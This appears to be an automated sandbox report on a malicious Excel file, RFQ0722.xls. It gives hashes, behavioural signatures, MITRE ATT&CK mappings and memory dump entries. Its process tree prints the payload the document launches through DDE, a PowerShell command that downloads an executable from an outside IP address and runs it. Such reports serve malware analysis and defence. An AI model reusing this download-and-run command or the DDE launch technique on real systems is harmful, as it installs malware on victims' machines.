Analysis

  • max time kernel
    100s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220718-en
  • resource tags

    arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
  • submitted
    25-07-2022 09:09

General

  • Target

    RFQ0722.xls

  • Size

    457KB

  • MD5

    77358b120c49a00939b58f530827101b

  • SHA1

    0243ff329e56636195dc9f8e2c7e8e23ce9a4d88

  • SHA256

    9099f8ecee77fd796796c8a399a103dd35ad32d0a0c596045e96ec56b1836af2

  • SHA512

    a39b0c58cb52854f7ce8a9c2840687e9aba86271f8af5e40d416987749b7e5ebecd62ff0d3c1339006bc6bc56fa64ab183c163224c76c9402ef8dd50c2308043

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\RFQ0722.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1156
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\POWERshEll.ExE
      POWERshEll.ExE wGet http://179.43.175.187/zqde/Jzqmynb.exe -outFIlE o.exe ; .\o.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2004

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1156-64-0x00000000726FD000-0x0000000072708000-memory.dmp
    Filesize

    44KB

  • memory/1156-55-0x0000000071711000-0x0000000071713000-memory.dmp
    Filesize

    8KB

  • memory/1156-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1156-57-0x00000000726FD000-0x0000000072708000-memory.dmp
    Filesize

    44KB

  • memory/1156-58-0x00000000754F1000-0x00000000754F3000-memory.dmp
    Filesize

    8KB

  • memory/1156-62-0x0000000004740000-0x000000000489C000-memory.dmp
    Filesize

    1.4MB

  • memory/1156-54-0x000000002F591000-0x000000002F594000-memory.dmp
    Filesize

    12KB

  • memory/1156-65-0x0000000004740000-0x000000000489C000-memory.dmp
    Filesize

    1.4MB

  • memory/1156-66-0x000000005FFF0000-0x0000000060000000-memory.dmp
    Filesize

    64KB

  • memory/1156-67-0x00000000726FD000-0x0000000072708000-memory.dmp
    Filesize

    44KB

  • memory/2004-59-0x0000000000000000-mapping.dmp
  • memory/2004-61-0x000000006C380000-0x000000006C92B000-memory.dmp
    Filesize

    5.7MB

  • memory/2004-63-0x000000006C380000-0x000000006C92B000-memory.dmp
    Filesize

    5.7MB